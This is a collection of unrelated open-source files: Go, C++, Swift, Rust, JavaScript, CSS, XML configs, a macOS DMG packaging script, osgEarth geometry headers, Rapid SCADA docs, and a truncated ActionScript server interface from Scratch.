value.value.copy buff, offset
offset += value.value.length
when 'byte'
buff.set offset, value.value
offset++
when 'byte array'
for byte in value.value
buff.set offset, byte
offset++
when 'int32LE'
buff.writeInt32LE value.value, offset
offset += 4
when 'string'
buff.write value.value, offset, value.length, value.encoding
offset += value.length
when 'uint16BE'
buff.writeUInt16BE value.value, offset
offset += 2
when 'uint16LE'
buff.writeUInt16LE value.value, offset
offset += 2
when 'uint32LE'
buff.writeUInt32LE value.value, offset
offset += 4
else
throw new Error 'Unrecognized type: ' + value.type
buff
| {
"pile_set_name": "Github"
} |
/* ------------------------------------------------------------------------------
*
* # Single navbar
*
* Specific JS code additions for navbar_single.html page
*
* Version: 1.0
* Latest update: Aug 1, 2015
*
* ---------------------------------------------------------------------------- */
$(function() {
// Initialize switchery toggles
// ------------------------------
// Navbar type switchery toggle
var toggleType = document.querySelector('.toggle-type');
var toggleTypeInit = new Switchery(toggleType, {color: '#283133', secondaryColor: '#283133'});
// Navbar position switchery toggle
var togglePosition = document.querySelector('.toggle-position');
var togglePositionInit = new Switchery(togglePosition, {color: '#283133', secondaryColor: '#283133'});
// Change single navbar position
// ------------------------------
// Toggle navbar type state toggle
toggleType.onchange = function() {
if(toggleType.checked) {
// Disable type switch
togglePositionInit.disable();
// Toggle necessary body and navbar classes
$('body').children('.navbar').addClass('navbar-fixed-top');
$('body').addClass('navbar-top');
}
else {
// Enable type switch
togglePositionInit.enable();
// Toggle necessary body and navbar classes
$('body').children('.navbar').removeClass('navbar-fixed-top');
$('body').removeClass('navbar-top');
}
};
// Toggle navbar position state toggle
togglePosition.onchange = function() {
if(togglePosition.checked) {
// Disable position switch
toggleTypeInit.disable();
// Toggle necessary body and navbar classes
$('body').children('.navbar').addClass('navbar-fixed-bottom');
$('body').addClass('navbar-bottom');
}
else {
// Enable position switch
toggleTypeInit.enable();
// Toggle necessary body and navbar classes
$('body').children('.navbar').removeClass('navbar-fixed-bottom');
$('body').removeClass('navbar-bottom');
}
};
});
| {
"pile_set_name": "Github"
} |
package store
import (
"context"
"strings"
"unsafe"
"github.com/pingcap/tidb/kv"
"github.com/pingcap/tidb/store/tikv"
)
// Transaction options
const (
// PresumeKeyNotExists indicates that when dealing with a Get operation but failing to read data from cache,
// we presume that the key does not exist in Store. The actual existence will be checked before the
// transaction's commit.
// This option is an optimization for frequent checks during a transaction, e.g. batch inserts.
PresumeKeyNotExists Option = iota + 1
// PresumeKeyNotExistsError is the option key for error.
// When PresumeKeyNotExists is set and condition is not match, should throw the error.
PresumeKeyNotExistsError
// BinlogInfo contains the binlog data and client.
BinlogInfo
// SchemaChecker is used for checking schema-validity.
SchemaChecker
// IsolationLevel sets isolation level for current transaction. The default level is SI.
IsolationLevel
// Priority marks the priority of this transaction.
Priority
// NotFillCache makes this request do not touch the LRU cache of the underlying storage.
NotFillCache
// SyncLog decides whether the WAL(write-ahead log) of this request should be synchronized.
SyncLog
// KeyOnly retrieve only keys, it can be used in scan now.
KeyOnly
)
// Priority value for transaction priority.
const (
PriorityNormal = iota
PriorityLow
PriorityHigh
)
//type rename tidb kv type
type (
// Storage defines the interface for storage.
Storage kv.Storage
// Transaction defines the interface for operations inside a Transaction.
Transaction kv.Transaction
// Iterator is the interface for a iterator on KV store.
Iterator kv.Iterator
// Option is used for customizing kv store's behaviors during a transaction.
Option kv.Option
)
//Open create tikv db ,create fake db if addr contains mockaddr
func Open(addrs string) (r Storage, e error) {
if strings.Contains(addrs, MockAddr) {
return MockOpen(addrs)
}
return tikv.Driver{}.Open(addrs)
}
// IsErrNotFound checks if err is a kind of NotFound error.
func IsErrNotFound(err error) bool {
return kv.IsErrNotFound(err)
}
// IsRetryableError checks if err is a kind of RetryableError error.
func IsRetryableError(err error) bool {
return kv.IsTxnRetryableError(err)
}
func IsConflictError(err error) bool {
return kv.ErrWriteConflict.Equal(err)
}
func RunInNewTxn(store Storage, retryable bool, f func(txn kv.Transaction) error) error {
return kv.RunInNewTxn(store, retryable, f)
}
// LockKeys tries to lock the entries with the keys in KV store.
func LockKeys(txn Transaction, keys [][]byte) error {
kvKeys := make([]kv.Key, len(keys))
for i := range keys {
kvKeys[i] = kv.Key(keys[i])
}
return txn.LockKeys(context.Background(), &kv.LockCtx{}, kvKeys...)
}
// BatchGetValues issue batch requests to get values
func BatchGetValues(txn Transaction, keys [][]byte) (map[string][]byte, error) {
kvkeys := *(*[]kv.Key)(unsafe.Pointer(&keys))
return txn.BatchGet(kvkeys)
}
func SetOption(txn Transaction, opt Option, val interface{}) {
txn.SetOption(kv.Option(opt), val)
}
func DelOption(txn Transaction, opt Option) {
txn.DelOption(kv.Option(opt))
}
| {
"pile_set_name": "Github"
} |
/*
* This file is part of Nanomite.
*
* Nanomite is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Nanomite is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Nanomite. If not, see <http://www.gnu.org/licenses/>.
*/
#include "clsStringViewWorker.h"
#include "clsMemManager.h"
//#include "clsPEManager.h"
//#include "clsMemoryProtector.h"
//#include "clsHelperClass.h"
#include <fstream>
using namespace std;
clsStringViewWorker::clsStringViewWorker(QList<StringProcessingData> dataForProcessing)
{
m_processingData = dataForProcessing;
this->start();
}
clsStringViewWorker::~clsStringViewWorker()
{
stringList.clear();
}
void clsStringViewWorker::run()
{
stringList.clear();
//clsPEManager *pPEManager = clsPEManager::GetInstance();
//for(int i = 0; i < m_processingData.size(); i++)
//{
// PTCHAR moduleName = clsHelperClass::reverseStrip(m_processingData.at(i).filePath, '\\');
// if(moduleName == NULL) continue;
//
// DWORD64 fileImageBase = clsHelperClass::CalcOffsetForModule(moduleName, NULL, m_processingData.at(i).processID);
// clsMemManager::CFree(moduleName);
// QList<IMAGE_SECTION_HEADER> fileSections = pPEManager->getSections(QString::fromWCharArray(m_processingData.at(i).filePath), m_processingData.at(i).processID);
// for(int sectionNum = 0; sectionNum < fileSections.size(); sectionNum++)
// {
// bool worked = false;
// clsMemoryProtector sectionMemory( m_processingData.at(i).processHandle,
// PAGE_READWRITE,
// fileSections.at(sectionNum).SizeOfRawData,
// (fileSections.at(sectionNum).VirtualAddress + fileImageBase),
// &worked);
// LPVOID sectionBuffer = clsMemManager::CAlloc(fileSections.at(sectionNum).SizeOfRawData);
// if(ReadProcessMemory(m_processingData.at(i).processHandle, (LPVOID)(fileSections.at(sectionNum).VirtualAddress + fileImageBase), sectionBuffer, fileSections.at(sectionNum).SizeOfRawData, NULL))
// {
// ParseMemoryForAsciiStrings(fileSections.at(sectionNum).VirtualAddress + fileImageBase, sectionBuffer, fileSections.at(sectionNum).SizeOfRawData);
// }
//
// clsMemManager::CFree(sectionBuffer);
// }
//}
//return;
for(QList<StringProcessingData>::const_iterator i = m_processingData.constBegin(); i != m_processingData.constEnd(); ++i)
{
ifstream inputFile;
inputFile.open(i->filePath,ifstream::binary);
if(!inputFile.is_open())
{
MessageBox(NULL, i->filePath, L"Error opening File!", MB_OKCANCEL);
return;
}
QString asciiChar;
CHAR sT = '\0';
while(inputFile.good())
{
asciiChar.clear();
inputFile.get(sT);
while(inputFile.good())
{
if(((int)sT >= 0x41 && (int)sT <= 0x5a) ||
((int)sT >= 0x61 && (int)sT <= 0x7a) ||
((int)sT >= 0x30 && (int)sT <= 0x39) ||
((int)sT == 0x20) ||
((int)sT == 0xA))
asciiChar.append(sT);
else
{
break;
}
inputFile.get(sT);
}
if((int)sT == 0 && asciiChar.length() > 3)
{
stringList.append(StringData(inputFile.tellg(), i->processID, asciiChar));
}
}
inputFile.close();
//wifstream uniInputFile;
//uniInputFile.open(i.value(),wifstream::binary);
//QString uniChar;
//
//TCHAR uniTempChar[1] = {'\0'};
//while(uniInputFile.good())
//{
// uniChar.clear();
// uniInputFile.read(uniTempChar,2);
// while(uniInputFile.good())
// {
// if(((short)uniTempChar[0] >= 0x0041 && (short)uniTempChar[0] <= 0x005a) ||
// ((short)uniTempChar[0] >= 0x0061 && (short)uniTempChar[0] <= 0x007a) ||
// ((short)uniTempChar[0] >= 0x0030 && (short)uniTempChar[0] <= 0x0039) ||
// ((short)uniTempChar[0] == 0x0020) ||
// ((short)uniTempChar[0] == 0x000A))
// uniChar.append(uniTempChar[0]);
// else
// {
// break;
// }
// uniInputFile.read(uniTempChar,2);
// }
// if((short)uniTempChar[0] == 0x0000 && uniChar.length() > 4)
// {
// StringData newStringData;
// newStringData.DataString = uniChar;
// newStringData.PID = i.key();
// newStringData.StringOffset = uniInputFile.tellg();
// stringList.insert(uniInputFile.tellg(),newStringData);
// }
//}
//uniInputFile.close();
}
return;
}
//void clsStringViewWorker::ParseMemoryForAsciiStrings(DWORD64 virtualAddress, LPVOID sectionBuffer, DWORD sectionSize)
//{
// CHAR currentElement = NULL;
// QString newString;
//
// for(unsigned int i = 0; i < sectionSize; i++)
// {
// currentElement = *((PTCHAR)sectionBuffer);
//
// if(((int)currentElement >= 0x41 && (int)currentElement <= 0x5a) ||
// ((int)currentElement >= 0x61 && (int)currentElement <= 0x7a) ||
// ((int)currentElement >= 0x30 && (int)currentElement <= 0x39) ||
// ((int)currentElement == 0x20) ||
// ((int)currentElement == 0xA))
// {
// newString.append(currentElement);
// }
// else if((int)currentElement == 0 && newString.length() > 3)
// {
// StringData newStringData;
// newStringData.DataString = newString;
// //newStringData.PID = i->processID;
// newStringData.StringOffset = virtualAddress;
//
// stringList.append(newStringData);
// newString.clear();
// }
//
// sectionBuffer = (LPVOID)((DWORD64)sectionBuffer + 1);
// virtualAddress++;
// }
// return;
//} | {
"pile_set_name": "Github"
} |
<?xml version='1.0' ?>
<Module id='124' name='Mcl_NtElevation_ErNi_GrSa'>
<Interfaces>
<Interface id='0x01c16fd5' provider='0x01010001'/>
<Interface id='0x02c16fd5' provider='0x01010001'/>
<Interface id='0x03c16fd5' provider='0x01010001'/>
</Interfaces>
<Dependencies>
</Dependencies>
<Lp>No</Lp>
<Target>Yes</Target>
<Architecture type='i386'>
<Platform family='winnt'>
<Version major='*' minor='*' other='*'>
<File loadtype='file'>i386-winnt-vc9s/release/Mcl_NtElevation_ErNi_GrSa.dll</File>
<File loadtype='memory'>i386-winnt-vc9s/release/Mcl_NtElevation_ErNi_GrSa.dll</File>
</Version>
</Platform>
</Architecture>
<Architecture type='x64'>
<Platform family='winnt'>
<Version major='*' minor='*' other='*'>
<File loadtype='file'>x64-winnt-vc9s/release/Mcl_NtElevation_ErNi_GrSa.dll</File>
<File loadtype='memory'>x64-winnt-vc9s/release/Mcl_NtElevation_ErNi_GrSa.dll</File>
</Version>
</Platform>
</Architecture>
</Module>
| {
"pile_set_name": "Github"
} |
@charset "UTF-8";
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场(https://ext.dcloud.net.cn)上很多三方插件均使用了这些样式变量
* 如果你是插件开发者,建议你使用scss预处理,并在插件代码中直接使用这些变量(无需 import 这个文件),方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者(插件使用者),你可以通过修改这些变量来定制自己的插件主题,实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理,你也可以直接在你的 scss 代码中使用如下变量,同时无需 import 这个文件
*/
/* 颜色变量 */
/* 行为相关颜色 */
/* 文字基本颜色 */
/* 背景颜色 */
/* 边框颜色 */
/* 尺寸变量 */
/* 文字尺寸 */
/* 图片尺寸 */
/* Border Radius */
/* 水平间距 */
/* 垂直间距 */
/* 透明度 */
/* 文章场景相关 */
._notice {
position: fixed;
left: 0;
top: 0;
z-index: 9;
width: 100%;
background: rgba(72, 1, 1, 0.3);
font-size: 20rpx;
height: 44rpx;
color: #ffffff;
border-radius: 6rpx;
overflow: hidden;
box-sizing: border-box;
}
._swiper {
line-height: 44rpx;
}
| {
"pile_set_name": "Github"
} |
//
// ObservableType.swift
// RxSwift
//
// Created by Krunoslav Zaher on 8/8/15.
// Copyright © 2015 Krunoslav Zaher. All rights reserved.
//
import Foundation
/**
Represents a push style sequence.
*/
public protocol ObservableType : ObservableConvertibleType {
/**
Type of elements in sequence.
*/
associatedtype E
/**
Subscribes `observer` to receive events for this sequence.
### Grammar
**Next\* (Error | Completed)?**
* sequences can produce zero or more elements so zero or more `Next` events can be sent to `observer`
* once an `Error` or `Completed` event is sent, the sequence terminates and can't produce any other elements
It is possible that events are sent from different threads, but no two events can be sent concurrently to
`observer`.
### Resource Management
When sequence sends `Complete` or `Error` event all internal resources that compute sequence elements
will be freed.
To cancel production of sequence elements and free resources immediatelly, call `dispose` on returned
subscription.
- returns: Subscription for `observer` that can be used to cancel production of sequence elements and free resources.
*/
@warn_unused_result(message="http://git.io/rxs.ud")
func subscribe<O: ObserverType where O.E == E>(observer: O) -> Disposable
}
extension ObservableType {
/**
Default implementation of converting `ObservableType` to `Observable`.
*/
@warn_unused_result(message="http://git.io/rxs.uo")
public func asObservable() -> Observable<E> {
return Observable.create(self.subscribe)
}
} | {
"pile_set_name": "Github"
} |
The "stm32l0xx.h" and "system_stm32l0xx.h" files are provided
only as a functional sample.
For real applications they must be replaced by the vendor provided files.
Extensions to the ARM CMSIS files:
- the file "cmsis_device.h" was added, as a portable method to include the
vendor device header file in library sources.
| {
"pile_set_name": "Github"
} |
#!/bin/bash
# by Andy Maloney
# http://asmaloney.com/2013/07/howto/packaging-a-mac-os-x-application-using-a-dmg/
dir=${0%/*}
if [ -d "$dir" ]; then
pushd "$dir"
fi
pushd ../../../cp-build-osx
# ./contrib/scripts/create_dmg.sh caveexpress 2.4
# set up your app name, version number, and background image file name
APP_NAME="$1"
VERSION="$2"
DMG_BACKGROUND_IMG="Background.png"
cp "../caveexpress/contrib/installer/osx/background.png" ${DMG_BACKGROUND_IMG}
# you should not need to change these
APP_EXE="${APP_NAME}.app/Contents/MacOS/${APP_NAME}"
VOL_NAME="${APP_NAME} ${VERSION}" # volume name will be "SuperCoolApp 1.0.0"
DMG_TMP="${VOL_NAME}-temp.dmg"
DMG_FINAL="${VOL_NAME}.dmg" # final DMG name will be "SuperCoolApp 1.0.0.dmg"
STAGING_DIR="./Install" # we copy all our stuff into this dir
# clear out any old data
rm -rf "${STAGING_DIR}" "${DMG_TMP}" "${DMG_FINAL}"
# copy over the stuff we want in the final disk image to our staging dir
mkdir -p "${STAGING_DIR}"
cp -rpf "${APP_NAME}.app" "${STAGING_DIR}"
# ... cp anything else you want in the DMG - documentation, etc.
pushd "${STAGING_DIR}"
# strip the executable
echo "Stripping ${APP_EXE}..."
strip -u -r "${APP_EXE}"
# compress the executable if we have upx in PATH
# UPX: http://upx.sourceforge.net/
if hash upx 2>/dev/null; then
echo "Compressing (UPX) ${APP_EXE}..."
upx -9 "${APP_EXE}"
fi
# ... perform any other stripping/compressing of libs and executables
popd
# figure out how big our DMG needs to be
# assumes our contents are at least 1M!
SIZE=`du -sh "${STAGING_DIR}" | sed 's/\([0-9\.]*\)M\(.*\)/\1/'`
SIZE=`echo "${SIZE} + 1.0" | bc | awk '{print int($1+0.5)}'`
if [ $? -ne 0 ]; then
echo "Error: Cannot compute size of staging dir"
exit
fi
# create the temp DMG file
hdiutil create -srcfolder "${STAGING_DIR}" -volname "${VOL_NAME}" -fs HFS+ \
-fsargs "-c c=64,a=16,e=16" -format UDRW -size ${SIZE}M "${DMG_TMP}"
echo "Created DMG: ${DMG_TMP} with size ${SIZE}"
# mount it and save the device
DEVICE=$(hdiutil attach -readwrite -noverify "${DMG_TMP}" | \
egrep '^/dev/' | sed 1q | awk '{print $1}')
sleep 2
# add a link to the Applications dir
echo "Add link to /Applications"
pushd /Volumes/"${VOL_NAME}"
ln -s /Applications
popd
# add a background image
mkdir /Volumes/"${VOL_NAME}"/.background
cp "${DMG_BACKGROUND_IMG}" /Volumes/"${VOL_NAME}"/.background/
# tell the Finder to resize the window, set the background,
# change the icon size, place the icons in the right position, etc.
echo '
tell application "Finder"
tell disk "'${VOL_NAME}'"
open
set current view of container window to icon view
set toolbar visible of container window to false
set statusbar visible of container window to false
set the bounds of container window to {400, 100, 920, 440}
set viewOptions to the icon view options of container window
set arrangement of viewOptions to not arranged
set icon size of viewOptions to 72
set background picture of viewOptions to file ".background:'${DMG_BACKGROUND_IMG}'"
set position of item "'${APP_NAME}'.app" of container window to {160, 205}
set position of item "Applications" of container window to {360, 205}
close
open
update without registering applications
delay 2
end tell
end tell
' | osascript
sync
# unmount it
hdiutil detach "${DEVICE}"
# now make the final image a compressed disk image
echo "Creating compressed image"
hdiutil convert "${DMG_TMP}" -format UDZO -imagekey zlib-level=9 -o "${DMG_FINAL}"
# clean up
rm -rf "${DMG_TMP}"
rm -rf "${STAGING_DIR}"
echo 'Done.'
exit | {
"pile_set_name": "Github"
} |
/* -*-c++-*- */
/* osgEarth - Geospatial SDK for OpenSceneGraph
* Copyright 2020 Pelican Mapping
* http://osgearth.org
*
* osgEarth is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#ifndef OSGEARTH_GEOMATH_H
#define OSGEARTH_GEOMATH_H 1
#include <osgEarth/Common>
#include <osgEarth/GeoCommon>
#include <osgEarth/SpatialReference>
#include <osg/CoordinateSystemNode>
#include <osg/Plane>
namespace osgEarth
{
/**
* Useful calculations for lat/long points.
* Converted from http://www.movable-type.co.uk/scripts/latlong.html
*/
class OSGEARTH_EXPORT GeoMath
{
public:
/**
*Computes the distance between the given points in meters using the Haversine formula
* @param lat1Rad
* The start latitude in radians
* @param lon1Rad
* The start longitude in radians
* @param lat2Rad
* The end latitude in radians
* @param lon2Rad
* The end longitude in radians
* @param radius
* The radius of the earth in meters
* @returns
* The distance between the two points in meters
*/
static double distance(double lat1Rad, double lon1Rad,
double lat2Rad, double lon2Rad,
double radius = osg::WGS_84_RADIUS_EQUATOR);
/**
*Computes the ground distance covered by the given path in meters using the Haversine formula
*Assumes the points in Lon, Lat in degrees
*/
static double distance(const std::vector< osg::Vec3d > &points, double radius = osg::WGS_84_RADIUS_EQUATOR);
/**
* Computes the ground distance between two points, in meters.
*/
static double distance(const osg::Vec3d& p1, const osg::Vec3d& p2, const SpatialReference* srs);
/**
* Computes the initial bearing from one point to the next in radians
* @param lat1Rad
* The start latitude in radians
* @param lon1Rad
* The start longitude in radians
* @param lat2Rad
* The end latitude in radians
* @param lon2Rad
* The end longitude in radians
* @returns
* The initial bearing in radians
*/
static double bearing(double lat1Rad, double lon1Rad,
double lat2Rad, double lon2Rad);
/**
*Computes the midpoint between two points
* @param lat1Rad
* The start latitude in radians
* @param lon1Rad
* The start longitude in radians
* @param lat2Rad
* The end latitude in radians
* @param lon2Rad
* The end longitude in radians
* @param out_latRad
* The latitude of the midpoint in radians
* @param out_lonRad
* The longitude of the midpoint in radians
*/
static void midpoint(double lat1Rad, double lon1Rad,
double lat2Rad, double lon2Rad,
double &out_latRad, double &out_lonRad);
/**
* Computes the destination point given a start point, a bearing and a distance
* @param lat1Rad
* The latitude in radians
* @param lon1Rad
* The longitude in radians
* @param bearingRad
* The bearing in radians
* @param distance
* The distance in meters
* @param out_latRad
* The destination point's latitude in radians
* @param out_lonRad
* The destination points' longitude in radians
* @param radius
* The radius of the earth in meters
*/
static void destination(double lat1Rad, double lon1Rad,
double bearingRad, double distance,
double &out_latRad, double &out_lonRad,
double radius = osg::WGS_84_RADIUS_EQUATOR);
/**
* Calculates the minimum and maximum latitudes along a great circle
* between the two geodetic input points.
*/
static void greatCircleMinMaxLatitude(
double lat1Rad, double lon1Rad,
double lat2Rad, double lon2Rad,
double& out_minLatRad, double& out_maxLatRad);
/**
* Computes the distance between two points in meters following a rhumb line
* @param lat1Rad
* The start latitude in radians
* @param lon1Rad
* The start longitude in radians
* @param lat2Rad
* The end latitude in radians
* @param lon2Rad
* The end longitude in radians
* @param radius
* The radius of the earth in meters
* @returns
* The distance between the two points in meters following a rhumb line
*/
static double rhumbDistance(double lat1Rad, double lon1Rad,
double lat2Rad, double lon2Rad,
double radius = osg::WGS_84_RADIUS_EQUATOR);
/**
* Computes the distance between two points in meters following a rhumb line
* Assumes the points are in Lon, Lat in degrees
*/
static double rhumbDistance(const std::vector< osg::Vec3d > &points, double radius = osg::WGS_84_RADIUS_EQUATOR);
/**
*Computes the bearing of the rhumb line between two points in radians
* @param lat1Rad
* The start latitude in radians
* @param lon1Rad
* The start longitude in radians
* @param lat2Rad
* The end latitude in radians
* @param lon2Rad
* The end longitude in radians
*/
static double rhumbBearing(double lat1Rad, double lon1Rad,
double lat2Rad, double lon2Rad);
/** Computes the destination point given a start point, a bearing and a distance along a rhumb line
* @param lat1Rad
* The latitude in radians
* @param lon1Rad
* The longitude in radians
* @param bearingRad
* The bearing in radians
* @param distance
* The distance in meters
* @param out_latRad
* The destination point's latitude in radians
* @param out_lonRad
* The destination points' longitude in radians
* @param radius
* The radius of the earth in meters
*/
static void rhumbDestination(double lat1Rad, double lon1Rad,
double bearing, double distance,
double &out_latRad, double &out_lonRad,
double radius = osg::WGS_84_RADIUS_EQUATOR);
/**
* Computes the intersection(s) of a line with a sphere.
* Returns the number of intersections: 0, 1, or 2.
*/
static unsigned interesectLineWithSphere(const osg::Vec3d& p0,
const osg::Vec3d& p1,
double radius,
osg::Vec3d& out_i0,
osg::Vec3d& out_i1);
/**
* Computes the intersection(s) of a line with a plane.
* Returns the number of intersections: 0 or 1.
*/
static unsigned intersectLineWithPlane(const osg::Vec3d& p0,
const osg::Vec3d& p1,
const osg::Plane& plane,
osg::Vec3d& out_i0);
/**
* Whether the target point is visible from the eye point in a
* spherical earth approximation with the given Radius.
*/
static bool isPointVisible(const osg::Vec3d& eye,
const osg::Vec3d& target,
double radius = osg::WGS_84_RADIUS_EQUATOR);
};
};
#endif
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>Rapid Gate Module - Rapid SCADA Documentation</title>
<meta charset="utf-8" />
<link href="../../../../css/scadadoc.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../../../../lib/jquery/jquery.min.js"></script>
<script type="text/javascript" src="../js/contents.js"></script>
<script type="text/javascript" src="../../../../js/scadadoc.js"></script>
</head>
<body>
<h1>Rapid Gate Module</h1>
<h2>Overview</h2>
<p>Rapid Gate Module is designed to synchronize data between several Rapid SCADA instances. The module allows to setup a backup server, as well as provides data transfer from SCADA installed on remote locations to the primary SCADA.</p>
<h2>Installation</h2>
<p>Rapid Gate Module is installed in accordance with <a href="../installation-and-run/module-installation.html#modules">the general sequence of installing Server modules</a>. The module library file is ModRapidGate.dll. After adding the module, you need to perform several additional actions:</p>
<ol>
<li>Open the module log C:\SCADA\ScadaServer\Log\ModRapidGate.log in a text editor and copy a computer code.</li>
<li>Register the module by contacting the developers or using <a href="http://trial.rapidscada.net/?prod=ModRapidGate" target="_blank">the trial key generator</a>. A register key must be stored in C:\SCADA\ScadaServer\Config\ModRapidGate_Reg.xml between RegKey tags.</li>
<li>Configure the module (see the section below).</li>
<li>Restart the Server service by clicking <img src="../../common-images/restart.png" />.</li>
</ol>
<h2>Configuring</h2>
<p>To cofigure Rapid Gate Module, edit C:\SCADA\ScadaServer\Config\ModRapidGate.xml using a text editor. The settings contains the connection parameters for the SCADA server (target server) to which data are transferred and from which commands are received.</p>
<p>Note that you usually need to configure the firewall on the target server to allow connections with it over the network.</p>
<h2>Algorithm</h2>
<p>The algorithm of Rapid Gate Module has the following features:</p>
<ol>
<li>The module transmits only the data that are received from Communicator. The values of the calculated input channels are not transmitted.</li>
<li>The data is transmitted to the same input channel numbers to which they are received.</li>
<li>The transmitted values are already calculated by the formulas of the input channels, which can result in double applying of the formulas on the target server. Therefore, when using the module, it is recommended that calculations be performed in separate input channels of the calculated type.</li>
<li>The module has a data transfer queue, which allows restoring data in case of a short-term connection failure with a target server.</li>
</ol>
</body>
</html>
| {
"pile_set_name": "Github"
} |
#![feature(specialization)]
trait Thingable {
fn thing(&self) -> &str;
}
struct Delegator<T>(Option<T>);
struct Delegate {}
impl Thingable for Delegate {
fn thing(&self) -> &'static str {
"Delegate implementation"
}
}
impl<T> Thingable for Delegator<T> {
default fn thing(&self) -> &str {
"Default implementation"
}
}
impl<T: Thingable> Thingable for Delegator<T> {
fn thing(&self) -> &str {
self.0.as_ref().map(|d| d.thing()).unwrap_or("Default implmementation")
}
}
fn main() {
let d: Delegator<i32> = Delegator(None);
println!("{}", d.thing());
let d: Delegator<i32> = Delegator(Some(42));
println!("{}", d.thing());
let d: Delegator<Delegate> = Delegator(None);
println!("{}", d.thing());
let d: Delegator<Delegate> = Delegator(Some(Delegate {}));
println!("{}", d.thing());
}
| {
"pile_set_name": "Github"
} |
<component name="ProjectCodeStyleConfiguration">
<code_scheme name="Project" version="173">
<Objective-C-extensions>
<file>
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Import" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Macro" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Typedef" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Enum" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Constant" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Global" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Struct" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="FunctionPredecl" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Function" />
</file>
<class>
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Property" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Synthesize" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="InitMethod" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="StaticMethod" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="InstanceMethod" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="DeallocMethod" />
</class>
<extensions>
<pair source="cpp" header="h" fileNamingConvention="NONE" />
<pair source="c" header="h" fileNamingConvention="NONE" />
</extensions>
</Objective-C-extensions>
</code_scheme>
</component> | {
"pile_set_name": "Github"
} |
/*
* Scratch Project Editor and Player
* Copyright (C) 2014 Massachusetts Institute of Technology
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
// ServerOffline.as
// John Maloney, June 2013
//
// Interface to the Scratch website API's for Offline Editor.
//
// Note: All operations call the whenDone function with the result
// if the operation succeeded or null if it failed.
package util {
import flash.display.BitmapData;
import flash.display.Loader;
import flash.events.ErrorEvent;
import flash.events.Event;
import flash.events.IOErrorEvent;
import flash.events.SecurityErrorEvent;
import flash.geom.Matrix;
import flash.net.URLLoader;
import flash.net.URLLoaderDataFormat;
import flash.net.URLRequest;
import flash.utils.ByteArray;
import cc.makeblock.mbot.uiwidgets.errorreport.ErrorReportFrame;
import cc.makeblock.util.CsvReader;
import cc.makeblock.util.Excel;
public class Server {
// -----------------------------
// Asset API
//------------------------------
private var rootPath:String = "/flash-core/"
static public function fetchAsset(url:String, whenDone:Function):URLLoader
{
// Make a GET or POST request to the given URL (do a POST if the data is not null).
// The whenDone() function is called when the request is done, either with the
// data returned by the server or with a null argument if the request failed.
//*
function completeHandler(e:Event):void {
loader.removeEventListener(Event.COMPLETE, completeHandler);
loader.removeEventListener(SecurityErrorEvent.SECURITY_ERROR, errorHandler);
loader.removeEventListener(IOErrorEvent.IO_ERROR, errorHandler);
whenDone(loader.data);
}
function errorHandler(err:ErrorEvent):void {
loader.removeEventListener(Event.COMPLETE, completeHandler);
loader.removeEventListener(SecurityErrorEvent.SECURITY_ERROR, errorHandler);
loader.removeEventListener(IOErrorEvent.IO_ERROR, errorHandler);
MBlock.app.logMessage('Failed server request for '+url);
whenDone(null);
}
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE, completeHandler);
loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, errorHandler);
loader.addEventListener(IOErrorEvent.IO_ERROR, errorHandler);
var request:URLRequest = new URLRequest(url);
try{
loader.load(request);
}catch(e:*){
MBlock.app.logMessage(e.toString());
}
return loader;
}
public function getAsset(md5:String, whenDone:Function):*
{
return fetchAsset(rootPath+"media/" + md5, whenDone);
}
public function getMediaLibrary(whenDone:Function):URLLoader
{
return fetchAsset(rootPath+'media/mediaLibrary.json', whenDone);
}
public function getThumbnail(md5:String, w:int, h:int, whenDone:Function):URLLoader {
function imageLoaded(e:Event):void {
whenDone(makeThumbnail(e.target.content.bitmapData));
}
var ext:String = md5.slice(-3);
if (['gif', 'png', 'jpg'].indexOf(ext) > -1) {
getAsset(md5, function(data:ByteArray):void{
if (data) {
